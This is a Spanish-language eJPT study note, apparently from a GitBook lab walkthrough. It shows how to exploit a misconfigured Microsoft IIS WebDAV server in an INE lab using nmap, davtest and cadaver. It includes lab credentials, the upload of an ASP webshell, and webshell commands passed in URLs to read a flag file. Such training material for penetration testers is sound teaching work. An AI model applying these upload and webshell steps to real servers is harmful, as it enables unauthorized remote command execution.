> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/ataques-basados-en-sistema-host/windows/explotacion-de-vulnerabilidades-de-windows/explotacion-de-microsoft-iis-webdav.md).

# Explotación de Microsoft IIS WebDAV

### 🧠 ¿Qué es WebDAV?

**WebDAV (Web Distributed Authoring and Versioning)** es una extensión del protocolo HTTP que permite a los usuarios editar, mover, copiar y borrar archivos directamente en un servidor web remoto.

* Se ejecuta normalmente sobre **puertos TCP 80 o 443**.
* Si está mal configurado, puede permitir a atacantes subir archivos maliciosos (como webshells) al servidor.

***

### 🎯 Objetivo del atacante

* Subir una **webshell** u otro archivo malicioso.
* Obtener **ejecución remota de comandos** a través del navegador o directamente mediante una consola.
* Enumerar o interactuar con el sistema de archivos remoto.

***

### 🔍 Detección y enumeración

#### 📌 Comprobar si WebDAV está habilitado con `davtest`

```bash
davtest -url http://<IP>
```

* `davtest` intenta subir distintos tipos de archivos (por ejemplo `.php`, `.asp`, `.txt`) para verificar si el servidor **acepta escritura** y **ejecución**.
* Salida útil para detectar **upload + ejecución** = RCE 💀

***

### 🧰 Herramientas para explotación

#### 🛠️ `davtest`

* Realiza **tests automatizados** de carga de archivos en servidores WebDAV.
* Útil para ver qué tipos de archivos acepta el servidor.
* **Ideal para detectar si puedes subir una webshell funcional**.

```bash
davtest -url http://<IP>
```

#### 🛠️ `cadaver`

* Cliente de línea de comandos para WebDAV.
* Se utiliza para **navegar, subir, mover y borrar archivos** desde el servidor WebDAV.

```bash
cadaver http://<IP>
```

Comandos dentro de `cadaver`:

```bash
ls                  # listar archivos
put shell.php       # subir archivo
get archivo.txt     # descargar archivo
delete shell.php    # borrar archivo
```

***

## <sup>🧪 Laboratorio práctico</sup>

#### **Paso 1: Abre el enlace del laboratorio para acceder a la máquina Kali.**

<figure><img src="/files/yfudoEKEmQMCgXSSQrbt" alt=""><figcaption></figcaption></figure>

***

#### **Paso 2: Ejecuta un escaneo Nmap contra el objetivo.**

**Comando:**

```bash
nmap demo.ine.local
```

<figure><img src="/files/ECnxbb1FNq2it00Icrqb" alt=""><figcaption></figcaption></figure>

#### **Paso 3: Hemos descubierto que múltiples puertos están abiertos. Nos enfocaremos en el puerto 80 donde se está ejecutando el servidor IIS.**

Ejecutamos el script `http-enum` de Nmap para descubrir directorios interesantes.

**Comando:**

```bash
nmap --script http-enum -sV -p 80 demo.ine.local
```

<figure><img src="/files/kkjk86oucFRwRsnAYyuO" alt=""><figcaption></figcaption></figure>

Hemos encontrado el directorio `/webdav`, el cual devuelve un error 401, es decir, "No autorizado".

**Paso 4: Ejecutamos la herramienta `davtest`.**

**Comando:**

```bash
davtest -url http://demo.ine.local/webdav
```

<figure><img src="/files/sv9ksHhFJ46hTOu6mAXr" alt=""><figcaption></figcaption></figure>

Podemos notar que la ruta `/webdav` está protegida con autenticación básica. Tenemos las credenciales para acceder: `bob:password_123321`.

**Comando:**

```bash
davtest -auth bob:password_123321 -url http://demo.ine.local/webdav
```

<figure><img src="/files/eQpYyr55XbTOudctGP0h" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/mLgb9TpAfNTxi9yQ9IBP" alt=""><figcaption></figcaption></figure>

Podemos observar que se han subido casi todos los tipos de archivos importantes al directorio `/webdav`. Además, podemos ejecutar tres tipos de archivos: `.asp`, `.txt` y `.html`.

***

#### **Paso 5: Subimos una puerta trasera `.asp` al directorio `/webdav` usando la utilidad `cadaver`.**

La backdoor `.asp` se encuentra en el directorio:\
`/usr/share/webshells/asp/webshell.asp`

**Comando:**

```bash
cadaver http://demo.ine.local/webdav
```

<figure><img src="/files/nJBF1i4AiDw9B86MaL0R" alt=""><figcaption></figcaption></figure>

Introduce las credenciales:\
`bob:password_123321`

Podemos interactuar con el directorio `/webdav` usando la herramienta `cadaver`.

***

#### **Paso 6: Subimos la backdoor `.asp` al servidor IIS en el directorio `/webdav`.**

**Comandos dentro de cadaver:**

```bash
put /usr/share/webshells/asp/webshell.asp
ls
```

<figure><img src="/files/cS0wEBANz4L1hMDWxquo" alt=""><figcaption></figcaption></figure>

La backdoor se ha subido correctamente.

***

#### **Paso 7: Accede a la backdoor usando el navegador Firefox.**

**URL:**\
`http://demo.ine.local/webdav`

Introduce las credenciales:\
`bob:password_123321`

<figure><img src="/files/UqpZ8ymU9zFQlDIuhuS2" alt=""><figcaption></figcaption></figure>

Podemos ingresar comandos de Windows en el campo de texto del webshell.

**URL del webshell:**\
`http://demo.ine.local/webdav/webshell.asp`

<figure><img src="/files/KaarZDMU5uBTRFvjEgOn" alt=""><figcaption></figcaption></figure>

También se puede introducir el comando dentro del parámetro de la cadena de la URL.

**Ejemplo de comando en URL:**\
`http://demo.ine.local/webdav/webshell.asp?cmd=whoami`

<figure><img src="/files/0T1ULRteMlPWjamrnRau" alt=""><figcaption></figcaption></figure>

El resultado muestra que estamos ejecutando como una cuenta de IIS AppPool.

***

#### **Paso 8: Lee la flag.**

Revisamos el contenido del disco C:

**Comando en URL:**\
`http://demo.ine.local/webdav/webshell.asp?cmd=dir+C%3A%5C`

<figure><img src="/files/obabcA560oz552Dua1ba" alt=""><figcaption></figcaption></figure>

Observamos que hay un archivo llamado `flag.txt` en el disco C. Lo leemos con:

**Comando en URL:**\
`http://demo.ine.local/webdav/webshell.asp?cmd=type+C%3A%5Cflag.txt`

<figure><img src="/files/HKTijVwCHDruPcDU22Cw" alt=""><figcaption></figcaption></figure>

Esto nos revela la flag.

**Flag:**\
`0cc175b9c0f1b6a831c399e269772661`

***

#### **Conclusión**

En este laboratorio vimos cómo un servicio WebDAV puede ser explotado utilizando herramientas como **Davtest** y **Cadaver**.
